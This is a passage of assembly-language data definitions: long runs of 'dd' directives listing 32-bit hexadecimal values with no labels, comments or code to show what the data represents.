0CC6964A4h, 0D03EE070h, 7EDC00A7h dd 2E8FF215h, 1F4C9AFAh, 40D3FDB4h, 0E0A96384h, 0A800B0F1h dd 0C967C642h, 6DFEC5h, 9C34CF60h, 0F9C8D20Fh, 0A3B2FC00h dd 0AA044D59h, 65CE0EAFh, 52E09FDBh, 0AC9492FAh, 960D2000h dd 4CA2089Eh, 8178FCh, 0A4DB8419h, 5886301Dh, 0E1FE7800h dd 0ACB00152h, 755D1D23h, 0E8BE0057h, 21F1E47Ah, 198E3D00h dd 9EDFD810h, 0B1515CF4h, 8300C64Ch, 4F07ECC6h, 55003DEEh dd 67401277h, 900BE26Dh, 934107B9h, 0E06CF87Ah, 0D327997Dh dd 87B0BA00h, 32845D7Bh, 419E16B5h, 3C6F1F60h, 2A4B3D02h dd 7BC1F0BEh, 7A5881BDh, 0FE68199h, 0CDD9F1C7h, 428EE0h dd 0F3CB82E8h, 4F657F4Eh, 0D645B400h, 3A6EBB7Ch, 0C7C100F4h dd 3944C3Ch, 420081A3h, 0BD558EC8h, 1FC3D0h, 518018F1h dd 9784331Eh, 284B70DDh, 5849800Ch, 0F90F64B9h, 7F13DD70h dd 0A7101C2h, 634E0D7Ah, 0A69BF39Ah, 0C2736901h, 0EB06D1C5h dd 0E03BA5F8h, 6B3F0041h, 0FBF8992Dh, 5B781A09h, 5E010300h dd 4B39428Fh, 8E5D0E7Fh, 2443A5FDh, 90F7ED78h, 0DCFA6F6Eh dd 42437400h, 0FD06C021h, 0E39F0065h, 612D558Dh, 53009159h dd 0A3E7E440h, 0CA976Ah, 8680C4CFh, 241F7B0Ch, 28036Eh dd 8E7429D7h, 704D3D89h, 0A71ABE80h, 3A51CFDAh, 6605780Eh dd 0DCE9A387h, 94BBA87Ch, 0F2CB175Ah, 8A00FFC0h, 6A73401Eh dd 2D0F5C03h, 0D5393002h, 99E2AAD2h, 9000C28Bh, 0E7B7CA2Fh dd 5DD93600h, 0A9E1C7C0h, 65BA014Eh, 524ADBACh, 0F5D621F9h dd 0F11C406Ah, 5E02D420h, 298323E8h, 7542CBh, 429856A4h dd 0B4850CDFh, 0CD1E441h, 9116C30Eh, 0BDDAA0A1h, 3D18A023h dd 2A039915h, 4A02C7A3h, 0C08D3AC1h, 0B0037674h, 33E4713Dh dd 0FD80F97h, 0F0F89520h, 0AD3C6849h, 0E842B7A9h, 0B5C8D670h dd 0CB640072h, 5359E5FAh, 811DDA01h, 3DC360B3h, 72A9B08h dd 0CBEA10F0h, 0E5123087h, 0A87E1A74h, 4B4CEB00h, 0DE8666A3h dd 0D1A8C030h, 696A3B2Fh, 0AE248D1Dh, 1DCE2AC0h, 0FD4191h dd 4D6DBCE6h, 0D8DADE02h, 0C6F62100h, 3F1C597Fh, 655400B0h dd 0E4186D04h, 6100E6AAh, 0C1D5FDBBh, 2852CF6Eh, 75A42C47h dd 0E7BC00E8h, 9639297Eh, 0CE3FE07Ah, 54F2A499h, 7D3D8D01h dd 0C040C847h, 13F78Eh, 22D6CD78h, 7A74E425h, 0F2BB3403h dd 8F2B88E5h, 3C0AA86h, 59039ABh, 8EC177B4h, 0B82C48EDh dd 7E799F01h, 0D7295452h, 6381F8h, 0FC33181Dh, 7A16C0C3h dd 0F4008E7Fh, 0A5841E76h, 0AB417EBh, 9597463Dh, 83803CCCh dd 404C24D0h, 3CAE08A4h, 6B033CE6h, 0FFD16ECDh, 2787C86Ch dd 0AC3D00B1h, 0BDFCE0D8h, 6D745F38h, 0FED09C50h, 0B80B7024h dd 677BC101h, 3082E9E2h, 2585872Ah, 0F986E8E0h, 179D5702h dd 4416DADFh, 6A59090Ch, 0A838A192h, 9A39A726h, 883B854Eh dd 0A514E6F4h, 717809E8h, 0FF0C2043h, 884F6Fh, 25C98A41h dd 0A601DED9h, 0C3FEA300h, 3722E1EFh, 0CFBC052Fh, 0A207C4Bh dd 805807E0h, 176E9EE8h, 0B401E53Ch, 4BC32732h, 54204481h dd 4F3A3B29h, 0AD406A8Fh, 7B24D820h, 0E7289396h, 8A009420h dd 89A9D974h, 1237101h, 26992444h, 205DDF69h, 0D9718AB4h dd 8146D838h, 0E255FEEEh, 0E4ECF63Dh, 0A5A4007Bh, 6684A3Ah dd 0C70319A8h, 0DE090864h, 0D69CC16Ch, 0FCEB0430h, 0D765003Ah dd 0CA912F7h, 0C100AD3Fh, 58A20A81h, 11AE79h, 55FC436Dh dd 0DCC96B8Dh, 91284B1Eh, 6635D340h, 90E9BDE7h, 0B47A5325h dd 873C0077h, 56B0B84Eh, 39EE907Ch, 0DDEAEB72h, 8EC13505h dd 9C01517Ah, 0D38FEA85h, 0D8F09443h, 2E35B2Dh, 0AA84C0E6h dd 0A0611156h, 4B3C34F8h, 8C08E500h, 0F7B2FBA7h, 49C000Dh dd 497356C9h, 8D0282C3h, 4D13E92Eh, 10F7824Bh, 0B5AC91AAh dd 1E1BFDC4h, 0A4C6F252h, 44C213A7h, 88859178h, 2E35DC7Ch dd 98007910h, 6EA10B5Fh, 5BB2138Ah, 83B4377Dh, 6000DBC1h dd 76F94DE8h, 53AF60Ch, 7784159Dh, 0AF880130h, 3391BAA2h dd 0CFD601F8h, 794E7B48h, 404CC2CEh, 1DE8B830h, 8EF4D1E7h dd 42405215h, 0E5631CEh, 99A16C00h, 61BA4D85h, 0E41E0533h dd 94E787EFh, 0E083FA34h, 41E3E89Eh, 0F37624FCh, 22DE00F0h dd 829B3D70h, 0D8D69F03h, 0E8E116B3h, 11E0251h, 0AC475F36h dd 64A684A4h, 0E87277DCh, 0F51D8100h, 0C29DB31h, 58250A40h dd 0B4032Eh, 161722EBh, 320EB51Bh, 0E13491D9h, 9CAA2C54h dd 482D21E0h, 33001C25h, 0D86A0A03h, 0D1003DABh, 0C218B71Ah dd 71214A77h, 0AA7B0562h, 94447C5Ch, 0C0F87798h, 8C2C551Bh dd 0DF279A05h, 0F88861B6h, 0AFA9C541h, 2B4002Ah, 0A7ED9DB0h dd 718CF000h, 5822D746h, 1FA100CBh, 28D9AE07h, 0B100294Ah dd 5F2B6BFDh, 4CA0324Fh, 59983009h, 9010DD17h, 5302295Eh dd 70EDEA6Dh, 4BA8BC83h, 207D9CE1h, 27004267h, 86ADCA4Ch dd 0C07E49DFh, 0FF26A918h, 0D9590DFCh, 0B81D26ACh, 3F805D84h dd 729054C0h, 8B5F0074h, 0D8B8FFC0h, 0A2012A12h, 3EBDAF0Bh dd 0C8E64C22h, 0F8E84740h, 18B2C1h, 2D3F8A9Ah, 0D9695EFFh dd 9F1B8800h, 0A22FE83Eh, 60EB2695h, 0E6D30464h, 0B4049070h dd 0F907E888h, 0A6D667B6h, 0DBD1870h, 8E7C3C84h, 0EB1F5800h dd 6AA58264h, 60FBCA2Eh, 5F54EA40h, 8031F7C9h, 0B07AEBE7h dd 13F583ABh, 32B67D5h, 0E60CE99Ch, 0CFE054C3h, 2C4C9C8Ch dd 8FD00C3h, 3BD29A48h, 1C9D58BBh, 0CC1F64B0h, 2C4A7A0Fh dd 4406B30Bh, 71C849h, 942B13FDh, 4576F55Eh, 6C05E22Eh dd 0AB537086h, 2CEFA49h, 0B42B83FEh, 0C4C0AA66h, 0AD00D786h dd 517D48BBh, 9F99D2Dh, 0E61C35F1h, 71EAD880h, 0A0CDA3Ch dd 0FA1B8CF3h, 5051C1EEh, 24D21435h, 8B007D54h, 19932FB9h dd 0F848E7h, 2A95049Ah, 3508418Fh, 0A454A758h, 0B3C5E01Dh dd 50D026C3h, 0A31619Eh, 0CD41C4D1h, 0E1067184h, 3240600Fh dd 0F884F4B2h, 6496B081h, 395C5D20h, 702B0CC0h, 2C4CC066h dd 1E1699D9h, 406985h, 0F2866F54h, 5F30B8D6h, 7CCBF9F1h dd 4A9ECCAh, 2171DBC9h, 6CA480EBh, 1E07D353h, 438324F5h dd 90B137C0h, 3CE70CC1h, 0AD583E4Ah, 0E300D27Eh, 0FBB3BD08h dd 2C59523Bh, 9A813FCh dd 0C84470CCh, 0D4613F01h, 788BBBFFh, 2850EC65h, 31ED98h dd 24308EF0h, 0A9676CC0h, 78300499h, 2E31D9Dh, 0DB6F3F7Dh dd 92899E98h, 309FCC20h, 1A39AE44h, 516286F4h, 8478915Ah dd 0FAF1127Ch, 0FC5888BEh, 174C4A00h, 4B1E37A8h, 7EFA02AEh dd 0B864F973h, 66040858h, 0F822ADBh, 20157C8Dh, 2268888h dd 0EF3062C7h, 0E06278CEh, 9C45B423h, 0B37E7D98h, 434C1E09h dd 26C007Bh, 5BB252Eh, 0F5D19FF1h, 0AF3CC10Eh, 88182031h dd 48D22700h, 9A7D371Dh, 54F200DCh, 0D9D49645h, 0E3E0C7A5h dd 10F0CD01h, 0BCE4D11Dh, 1DA66860h, 405B6417h, 0E25181F1h dd 590060B1h, 66C9B60Eh, 0F05FD11Eh, 4C089229h, 0B80B984Ch dd 6051D03h, 8A8400A9h, 32F1C0EFh, 78319226h, 9F449E01h dd 54310785h, 29B0CC28h, 0D8CB4922h, 0BDB48065h, 1765534h dd 773930E8h, 419BA3EFh, 0FF3CB3C0h, 0EC4787F1h, 7C73ACAEh dd 60A8E56Fh, 81D3400Fh, 330604B0h, 83E3B3CDh, 0E0000D7Bh dd 413A3111h, 0ACBAF68h, 3DFEF146h, 7E4A0064h, 0A9272557h dd 1C42DF00h, 0F76A4145h, 20C56971h, 3988B080h, 1305543h dd 0B0A5F1CDh, 2CCA04BFh, 84AFCC79h, 90FCD4DBh, 21241BB0h dd 7AE0C303h, 88D26184h, 0B0D80B58h, 0AED901F4h, 5617183Eh dd 0F826F0DCh, 9E70CB17h, 64CECC00h, 0A1C56CCAh, 90475C50h dd 0A69052D1h, 2C885464h, 40DC0DE4h, 0D84ADC3Ch, 3A70BA1Fh dd 0B1CACEC5h, 7D77A820h, 87D50052h, 83863091h, 4D006671h dd 0E610B1F2h, 5BBFC06h, 69D9D504h, 8C18901Ch, 0DB30EB3Bh dd 6C6620EFh, 0F2FF7230h, 0A79507F5h, 24C3D00Fh, 74C8E0E0h dd 16250400h, 0FEFAEECBh, 39B584Ah, 4040CD16h, 5923D15Ch dd 0FD4D4CFFh, 882F24F0h, 7EE8FE00h, 489D3EA4h, 0DE093490h dd 0D8601AC9h, 6A142F0Ch, 0D388C286h, 82BBF802h, 2B42A43h dd 528DE15Ah, 0C8009070h, 0E88C7153h, 54493BA3h, 4C839CBBh dd 0B80D2377h, 609817DFh, 0F614BEA5h, 3C840713h, 7E84002Ah dd 0B62530E2h, 0D009AD0h, 0E0797178h, 92343089h, 5DD6F02h dd 0C09D8833h, 58FE2EA8h, 90500311h, 25BF00DAh, 90E9063Ah dd 84A8D9CBh, 157AAE6Fh, 77B37900h, 96B1D6BEh, 142600E3h dd 809255FDh, 213F67C8h, 35AE03DEh, 3124D2Bh, 9D19D51h dd 2998F49Bh, 0CC071A9Ah, 77E9B804h, 64BC87E2h, 365779Ch dd 0E1CADB8Bh, 23C7431Ch, 0C13FC564h, 0E29D8002h, 0B0217CF2h dd 60AC2AD1h, 0E59305DCh, 9037B1DDh, 86CC2B3Ch, 0D517A8B8h dd 0D820B485h, 33048EBh, 0A150698Ch, 9991395Ch, 0FDF4247Ch dd 87F02E00h, 0BFDEA91Ch, 92DCA25Bh, 4990C1F4h, 7051E073h dd 0BCA10804h, 7901F189h, 0E0869CC8h, 3305800h, 0F6873F65h dd 0E48A0A9Bh, 80FC5680h, 0E70C3A9Ch, 964825FAh, 0F82E1D20h dd 301008EDh, 2848BD40h, 81E8A1B2h, 0BC33AC23h, 0A1001519h dd 0F90CA8FBh, 9E9F627h, 6E959967h, 601A0410h, 70997DF4h dd 0B7C15465h, 0C351A21h, 0F0C1F428h, 66B51D62h, 808C93E0h dd 24F40E88h, 0C0002379h, 94153AC8h, 8C140424h, 0B5319A04h dd 0B84890F7h, 0E9508AB0h, 0B0754300h, 0B35F0AA6h, 2D060056h dd 0B17B0D79h, 5D70ADC7h, 25CD1C48h, 24A81BAEh, 0A500C991h dd 60D1788Dh, 0E01652Ch, 5E640679h, 60CE8BA6h, 1CA54B64h dd 0C089BC82h, 7551CE84h, 181FF150h, 0F98CE231h, 9D86160h dd 0D4FAB7AEh, 0E8589020h, 87F6325Ch, 3413892Ch, 52E1EEC2h dd 0F47F07ECh, 9747E6E9h, 0D1DE007Eh, 39129631h, 2001ABF1h dd 29114A8h, 404C8CCh, 0AA1D9EB3h, 40D0908Ch, 43E28B4Dh dd 0E605E4F4h, 55FBF82Ch, 0D21B3F80h, 98A85D60h, 67F0E03Ch dd 0C018A116h, 426F481Ch, 0E3CFBE04h, 2890AA79h, 15A938A7h dd 0EC8D1105h, 73B9D500h, 52ED84E0h, 7EF0430Fh, 92AD0B13h dd 0A19850B4h, 0E0219C88h, 88F4C28h, 3D09B0AFh, 835C98C4h dd 0FB4F1FFCh, 66F9A9C9h, 609C91D4h, 81E719Ah, 1905FD30h dd 0B5535BEh, 7CDDDB9Ch, 0E7E24C80h, 6604EEAAh, 7E49EF99h dd 72D8C882h, 575A006Ch, 60D1034Bh, 0EF481185h, 40C4D2A8h dd 0D19294E2h, 6FB3EAE0h, 5EBFE0h, 0E7A4A27h, 17227D40h dd 42F5751Eh, 76E35400h, 1E2F06D7h, 7D312DFFh, 0F0DCAD80h dd 0C08A90B7h, 34361F00h, 398084Fh, 7B541343h, 228F00E0h dd 7DF9B1B8h, 806CDA38h, 6116266Fh, 980B0Ah, 399FC6Eh dd 156710DEh, 0E5D94314h, 0BA400D7h, 0ECB624D5h, 0CAA900B2h dd 59478CDAh, 90030666h, 15B3C572h, 0FD210EB8h, 0FA8096C6h dd 0D7C18D44h, 8F016AE2h, 550DBBE6h, 0FCC824F8h, 8EC5394Fh dd 308B8228h, 61A00B99h, 6029D67h, 0A9CBBCADh, 0FB74E068h dd 313D0F38h, 28800357h, 4D74DAE1h, 8A1A4501h, 4743FA70h dd 0D19820h, 0B59DF0D0h, 4D1DBA57h, 0C09F9100h, 69CEE390h dd 4F2901B6h, 44A06BA3h, 8209D8ECh, 86AD112Ch, 1CFAB00h dd 9899145Eh, 582E00E7h, 0F8A2CEDBh, 9300BE41h, 496E9A88h dd 0C0ED42D2h, 0F6A83EF0h, 6F073BF7h, 4A5058B6h, 0C866570h dd 0AA2B00F2h, 0D8774C4Eh, 2400FC7Ch, 0BDB1B7B9h, 5B51EF3h dd 6D7FAD17h, 31804788h, 59880A0h, 0ECFC9C5Ah, 797AD97Ah dd 34C99CEFh, 760C226Ch, 7F990B3h, 0B20F7C98h, 715BC032h dd 6400C3CDh, 0C1752926h, 1FE9F73h, 0AA5FBFAh, 0D0BD3C7Ch dd 8B7590C7h, 24185448h, 1DB80094h, 5C80AEB5h, 0DA0B2D55h dd 8AF005h, 0F0FA3671h, 0CB51651Ah, 0F0FF2A30h, 3FAD9FDBh dd 86008E38h, 70AC28E9h, 35010273h, 10DD19ECh, 77C5C19Fh dd 0E27F8870h, 0F7D2122Dh, 0C1485F02h, 0C7A6DE1Dh, 883860BAh dd 42036C90h, 70EB6359h, 0A24E86Ch, 0C4C85186h, 2DF6FF0h dd 282083D1h, 6240DDAFh, 405079A9h, 0C752F348h, 0F8AB00E4h dd 459A37FDh, 9EE52423h, 1F2D8104h, 4098F3EAh, 31F5F2E8h dd 7A8EE805h, 9073C782h, 7CA080D1h, 24F8A0B7h, 14E400A2h dd 64D68AE5h, 0F6248BDCh, 0E601D879h, 0DD5C9682h, 36BACC4h dd 0F9EAD8B0h, 0EEA3D09Fh, 5DE1FFD0h, 40441404h, 3C88821Fh dd 196E478h, 4BCEDDC5h, 24326F70h, 5D06BCF0h, 0EE20CC33h dd 9CE80080h, 0CEFBE3C0h, 8240C2Ah, 885BD00Dh, 10192EAh dd 0DE9C75F5h, 0FC796735h, 0A8EE7694h, 80178430h, 0EA36BDCh dd 751686FFh, 38D781A0h, 46268FC2h, 98201DEAh, 73999502h dd 6020BE69h, 318848h, 9F1A5110h, 0B265D3E6h, 5C7FDD00h dd 0A532F94Eh, 0A497DAEh, 0BE5A9FAAh, 3133C0A8h, 0B8001743h dd 9862FD58h, 67B5F2Fh, 4018670Eh, 6348983Ch, 373A097Ah dd 8314000Ch, 24287A51h, 80BC04D8h, 92124F0Fh, 74192D64h dd 0C9619D65h, 0A1420h, 0EB93BC23h, 0CF6EC66Fh, 0A7BADB1Ah dd 7DA08731h, 5712F101h, 21D87080h, 5EA9B40Dh, 4E166714h dd 0C9DA00AEh, 7A6C86B2h, 8440EB93h, 389456ACh, 0A7009605h dd 2B758EB9h, 427B6B9Ch, 511BD3Ch, 15D42940h, 6A73F001h dd 0F024923Bh, 164709DCh, 180F78DFh, 3C146160h, 1B121820h dd 5C40C49Eh, 0EF7E3202h, 0A5C600AAh, 0F6DFB32Ch, 0DA06C30Fh dd 9FE17E2h, 4FA40498h, 8167FD02h, 82A166DCh, 0C93085F8h dd 0AA584871h, 4C5E0969h, 0BA88425Ah, 0BE81CE30h, 2D16CB3h dd 0A090A890h, 3C007A93h, 0C92ACA95h, 2D17487h, 0DE3AE3EBh dd 94905E34h, 9300C2D4h, 7D14996Dh, 2C8FDC7h, 281A65BEh dd 7D418410h, 0F8E1A473h dd 0E2DC78h, 77FFFC51h, 0E0D96891h, 0A114D14Ch, 1180E4BDh dd 0ABD9FE09h, 80016FFh, 6AC69F78h, 0B0CC4D17h, 0FBA0177h dd 77410367h, 1B6462EFh, 0C841C2A9h, 92F10C0Ah, 0C97068h dd 64811691h, 5A7833C8h, 6610E100h, 0BD949C84h, 1BBB1858h dd 30D931D3h, 115C7B09h, 999C0187h, 70340672h, 241490BAh dd 0BDC8EE65h, 63901600h, 0E5072756h, 8A1F1E00h, 5946A24Ah dd 263E002Dh, 9A4CE860h, 3600898Eh, 87D534FDh, 515BF9Ch dd 0ED2A8278h, 86548577h, 8409D90Ch, 203CE345h, 0C81BA590h dd 52A49063h, 458E401h, 1AF7ED00h, 71EBC595h, 0C5A2605h dd 8443D6A9h, 108A9F16h, 5EB9AB0h, 6D9453D3h, 0ABF5D040h dd 78A5137h, 0C8DA0AD5h, 0E28F0B5h, 9600FE21h, 390A66Eh dd 25CB117h, 162E2C5Dh, 0B8B8B382h, 6D00E2EAh, 3F853094h dd 937795Bh, 50408BF0h, 34B7B400h, 78BA88C1h, 8A2BB01h dd 7D41D585h, 98C2E4F8h, 9B3C9844h, 2C5F9E20h, 0E69E00A4h dd 58EEFAA5h, 0EDEB6700h, 19807BDh, 50CC00E9h, 12D23CE1h dd 8B00DBA3h, 0C8231D66h, 0F5FBE016h, 294276ECh, 84849432h dd 80331893h, 4127C498h, 83059900h, 95BC4FE6h, 1FB00030h dd 5E20EC07h, 0B5003362h, 5D0B4B56h, 0C82B9Eh, 0EBED3BA3h dd 90576387h, 0B504E60Fh, 0A428B277h, 0E0ACAB0Bh, 0E9B04C4h dd 2F712814h, 379497A0h, 14B22E1Dh, 1123D800h, 432BD936h dd 59247D84h, 9E00E82Fh, 521E534Fh, 75981C6Ch, 0DC436604h dd 0D4D07417h, 499B24B4h, 78004C9Ch, 2E5D264Eh, 64923EF6h dd 0C0CC620Ah, 0FC2CE01Eh, 987A8578h, 0D9FA90h, 0F2D2ED4Fh dd 57283AEEh, 811D9D3Bh, 32712B34h, 31C1F83Dh, 2C9817C0h dd 3FEA7Fh, 0B3D06E30h, 0C003471Bh, 0B823BF0Fh, 5DE0F1C1h dd 6EE020h, 0CDD81ADFh, 22FD2F39h, 59B4A200h, 0BA3E490h dd 5CF4B043h, 570981BAh, 407112Eh, 939D1068h, 4A0BD3A4h dd 91DAE14Eh, 90E88FDCh, 1B890270h, 46A62315h, 79AEFCE0h dd 67AF4E09h, 0EC29D5h, 0F1904CA1h, 86A71665h, 0FC9071A3h dd 0BFD0D33Ah, 4C91095Dh, 0B300E820h, 0DD4904F3h, 4DCD4031h dd 5392E817h, 1881F94h, 33F3D36Ah, 7A6FE812h, 980C0892h dd 69FA7C9Fh, 0C3A50044h, 23402D4Eh, 6E1C7635h, 7180D7DCh dd 7CA34A2Eh, 63970032h, 92742480h, 0A55C392Fh, 0E0A17B20h dd 0C86897ADh, 0F3C42C40h, 25621Fh, 18BE7DE2h, 24770288h dd 0AA264378h, 2A0046A1h, 4B0D0ED0h, 0C1981496h, 5C00CCEBh dd 389D5D1Ah, 2C60BDB6h, 0F65B2D2h, 47960A75h, 0A494A0h dd 0C34F072Ah, 0BC9A5DD0h, 0B030205Ch, 14DADB8Ch, 885EABE3h dd 1E90C600h, 0FAB4595Ch, 8040E558h, 0E4EE2746h, 0B070E3D7h dd 2CA4AEC4h, 9EB0EA38h, 0D92980AFh, 5B14EE88h, 8ED7721Dh dd 0FF972DC0h, 6B4D6h, 907D9EA3h, 98331C27h, 0A88A48h dd 0E2BACDDFh, 102C26h, 39CC658Fh, 8C13593h, 0A942A217h dd 0E216D84Eh, 401BB8FEh, 1DEC06A4h, 1C766043h, 6CFFC738h dd 7E52326Dh, 740B1861h, 2877911Ch, 0A98F9600h, 4D1CD28Bh dd 0E65600E4h, 0FC0D3D05h, 10000C4Ch, 0C4C524ECh, 0C0A91362h dd 0A75D91B8h, 7E1DCA43h, 4E016E05h, 0C979F51Ch, 0C0738431h dd 0B6D57300h, 16FD136Dh, 3437EE12h, 1A00B412h, 68336972h dd 48A00036h, 74DAACC7h, 0E3F8170Ah, 0EFEDF00h, 37783FDCh dd 6A4902Bh, 0C188906Bh, 0AD1C8891h, 0F60032F3h, 0BA3EBBABh dd 6CB900B4h, 0AC70FC03h, 9804A9B0h, 0C4A0D0ECh, 0A65BF180h dd 1511384Fh, 99AEBC89h, 0C22D5041h, 1FDC41E0h, 78016494h dd 0B3794B6Bh, 0BAC8FD4h, 0A4AA1CBBh, 9084C025h, 0B2CB3940h dd 0F8A65F50h, 0C804649Ah, 66AAAD2Ch, 0C01318C2h, 1D6ACE20h dd 49D324BFh, 0A3810D9Ah, 7281D935h, 1C332C60h, 0F18604C0h dd 395E00A6h, 0C471A8D7h, 8F29DB93h, 1826809Ch, 0AC141A00h dd 17B3F387h, 8FB550h, 7E9990F0h, 0D54A3B33h, 13697026h dd 0A13436h, 9625CC3Ch, 0C2FCD51Bh, 92AFAB09h, 3BDCC488h dd 2F80F591h, 0CB36B916h, 63143F27h, 0C280A9CEh, 8764C566h dd 0A061ECE8h, 5760A6EEh, 54B50063h, 0FE335E8Fh, 8400DF26h dd 0CA7FC17Eh, 396576DDh, 882AB293h, 92590980h, 74A0CE1Ah dd 0B6713276h, 582820D6h, 8AF83FBFh, 498010B0h, 1C00AFB0h dd 6A062495h, 71ED6C35h, 62C9C17Fh, 401CFA3Eh, 4E46C6CCh dd 0C0A77D00h, 8EF90F30h, 0A89E0006h, 1CDD82A9h, 0FF0F77DAh dd 5FB4D40Ah, 0D04796FAh, 0EB3C009h, 0EF51609Ch, 9B944Bh dd 7B120836h, 631C68C3h, 0A0E5AB26h, 5D0BC00h, 0E6F9D93Eh dd 668401B6h, 0E708291Fh, 3F4F30D1h, 520258h, 0BCAD3175h dd 3B876Ch, 0F388703Dh, 0C7B447A6h, 417DE4A1h, 489402A0h dd 0C1386E84h, 696D2E5Dh, 3A391438h, 49D60084h, 8AE47BA6h dd 80849668h, 32FF9AC8h, 8D0525DCh, 0BB901AF5h, 78D06FC4h dd 4A6F59A1h, 85A413D0h, 124400D0h, 0D16BBD5Ah, 4E951006h dd 0B088EBh, 61717B72h, 0FC74DC9Eh, 199F930Eh, 7D12156h dd 247039F9h, 294D62h, 4925B605h, 51C040B3h, 0D7D22C5h dd 8FA2D400h, 0EC41C38Dh, 0BE3A0CF6h, 0EDE0D679h, 0F216910Fh dd 0EFA60B7h, 0EA0C6BB6h, 4701033Dh, 17EE7D5Ch, 0B4585AEAh dd 9BEFC600h, 24C7875Eh, 0F21096Ch, 0CC07FDDh, 4E2B36Eh dd 14B5E800h, 102524F1h, 773BFA81h, 76B0C94Dh, 729F30E5h dd 80000EAEh, 0E2B603A8h, 9671003Ch, 0C036D8A3h, 0A10088F0h dd 0AE1F556Ah, 0A433C927h, 516CAAA8h, 0CA8824F8h, 8100B810h dd 31FB88DEh, 1E360CA9h, 0E040C8h, 0E86274A5h, 0B845014Ch dd 0BE86EC18h, 0A1C05921h, 60F2D5EEh, 0D179ADh, 0A9BDAAE4h dd 0E9B0714Bh, 3C094571h, 4C932463h, 0E66A3118h, 7049BB4Ah dd 8CFC9230h, 0F0CA2E22h, 6150249Bh, 4C4E600Ch, 0B000B8ACh dd 0E108C9F9h, 0A1466B5h, 946D3644h, 0D4C2E030h, 0DCB04DD7h dd 24BA34A1h, 0E87BCDF4h, 28B07CB8h, 7CE5506h, 38C6AD8Fh dd 9E80C71Ah, 0FE215C2Fh, 0BEEED1A1h, 0F91D1030h, 52B943FFh dd 0DFC75893h, 5C9BB933h, 0CEDC20C8h, 1FA8F13Fh, 3B80A44h dd 82C65EB4h, 0F57590C1h, 4F4B0121h, 9C23C93Ch, 639092CCh dd 6A1C4400h, 12753FCFh, 8019DCC6h, 2EBFB1E0h, 0D28418C1h dd 642D1035h, 403C741Dh, 0B9D4555Dh, 0E41706ACh, 0AC6466AEh dd 0B180FC05h, 0F9C230A2h, 68486803h, 0DF4C15A0h, 0A73E2D44h dd 0B730B6B0h, 7890084Eh, 23E0043Ch, 8C9466F5h, 36178198h dd 0AC209FDCh, 0DA400Eh, 2850E87Fh, 3AFDE7D5h, 8A8D2C0Fh dd 67B7622Bh, 320E8AAh, 0BBEB22E5h, 80F31F05h, 0D4D81632h dd 0D40C050Eh, 80A52043h, 723759A6h, 15A6DB1Fh, 78960453h dd 84413851h, 3D83B080h, 6D192A94h, 708EB902h, 50D7EFD5h dd 0AC80963Ch, 0E33B0738h, 15E65A72h, 0BC00F0E2h, 0A325F607h dd 0C8E08C46h, 0E98019C0h, 9A960EE3h, 0B6010588h, 86904CB5h dd 0F901A878h, 0BA3DDEEEh, 77F4B01Ah, 0FC675C81h, 40896CD0h dd 690BE9D6h, 94983012h, 0BAC27A99h, 772E0708h, 7E59A7Dh dd 8DADB1FAh, 4B583C4Ch, 72C7828h, 12659CC4h, 0D47A4776h dd 0BAA4C1ACh, 0B082083Ah, 2CF902B8h, 65F76981h, 0D6C9CCC8h dd 0E3D12100h, 76734C09h, 0AC370BDAh, 104A88ADh, 0DC2088A9h dd 3536BE89h, 86193460h, 0EB9ECCh, 0AB7A92F6h, 8995C696h dd 365748h, 2611ADEEh dd 139341B5h, 5D914F99h, 72A4C2D0h, 4486323h, 9A2C9016h dd 2680BCD6h, 58C09D50h, 0F4AA5365h, 59B3A844h, 0EC5C80A4h dd 7EDE0FDDh, 40652067h, 17C55F22h, 9A83049h, 88599B78h dd 998E5C9Ch, 0D15501FEh, 598715DEh, 0D098D40Bh, 2C9B1B3Eh dd 12FDB714h, 590072A5h, 628BE1A0h, 587879F6h, 5500FC9Dh dd 3CE7680Ah, 85480FD0h, 7D880094h, 66C1C517h, 27400118h dd 19109995h, 0B551C0BFh, 67A48800h, 9F73AFCCh, 4146009Dh dd 0EC79E11Eh, 75004068h, 8EE2C336h, 1215444h, 0B9B08D3Fh dd 0F4CF92D0h, 1202F937h, 9C15710Ch, 738C581Eh, 52240059h dd 6008BD0Dh, 7C021145h, 231CABE9h, 0B05DC166h, 61E6C8h dd 9E6B60F1h, 181E5C05h, 330DE00h, 0AD0D5732h, 77590095h dd 450F4933h, 8302CD8Bh, 0F30B42C5h, 9584805Ch, 86A66Dh dd 0FC2BA514h, 0DFE699C4h, 42F04171h, 9AD19201h, 66251069h dd 0E2D0D0h, 0BD12B862h, 44D2A56Eh, 26A2800h, 9D83BFBh dd 8AED008Ch, 0C1904337h, 5D3C5FA4h, 0EE2C8127h, 49F74FBh dd 19E8D0h, 9CB7F7C8h, 0C23B9175h, 0D8A6EB00h, 85E21588h dd 5CA80113h, 1F77275Eh, 36D0208Ch, 3EF231F6h, 3C56D400h dd 8DC090FCh, 42282EB1h, 0CF81049Ah, 0F17980E7h, 5A0F5D7Fh dd 246BF8B3h, 4CF4C666h, 26570095h, 41A3F6ABh, 39004C89h dd 0F469C6C2h, 7D548ACh, 2C0B9AD7h, 94EB50DBh, 63755AF9h dd 3E651A00h, 0A81B5855h, 3BF700B4h, 78960986h, 9A0037D3h dd 0EDDEC018h, 1B8AE2h, 53FCB912h, 0A0361A1h, 4BF89B00h dd 0AB6D3EC7h, 0EB78C54Dh, 904334Ch, 5FD4D1F9h, 302B9E0Ch dd 85BFAC60h, 75AE00D0h, 0C6C92A1Ch, 513EDD31h, 0AF5A14BEh dd 90B2210Ch, 62AEC83Bh, 9610A5F3h, 0E4218427h, 0C4821098h dd 8A22935Fh, 84990318h, 210A643h, 658E88A8h, 0DA184A69h dd 0C289548h, 84327610h, 0E222A7CFh, 9B8E18A2h, 1982DE11h dd 4A11605Ah, 8B009C89h, 13037DFh, 0A86B5C29h, 0F1CCB100h dd 52C0A3Eh, 1ADD955h, 0C0B8473Ch, 824E2015h, 20AC585h dd 0FCBF863Dh, 95DE82B8h, 0A3540A06h, 0A07CBDC8h, 1334209h dd 760BFC62h, 0E75788B7h, 6F1DB6E0h, 2EEEB03h, 0A1673F66h dd 8874CE9h, 60FC7891h, 0D5D84D26h, 56DE9700h, 70CA08C7h dd 4C3E5382h, 0B09A131Ch, 795010D9h, 0E744200Bh, 0E1A85BDh dd 0DBD48400h, 461F0ACh, 2B9CD1D2h, 30B4C732h, 9044C2C5h dd 4E20490Eh, 7BE942h, 3C8B0974h, 0E8C7723Bh, 461CAE60h dd 639280C4h, 25347E8h, 0DDF0F3F8h, 6960C779h, 3D521F01h dd 38FEA0C0h, 4D551C2Bh, 5DC0C0B7h, 0DE1711F8h, 0AD29F660h dd 20C9CC02h, 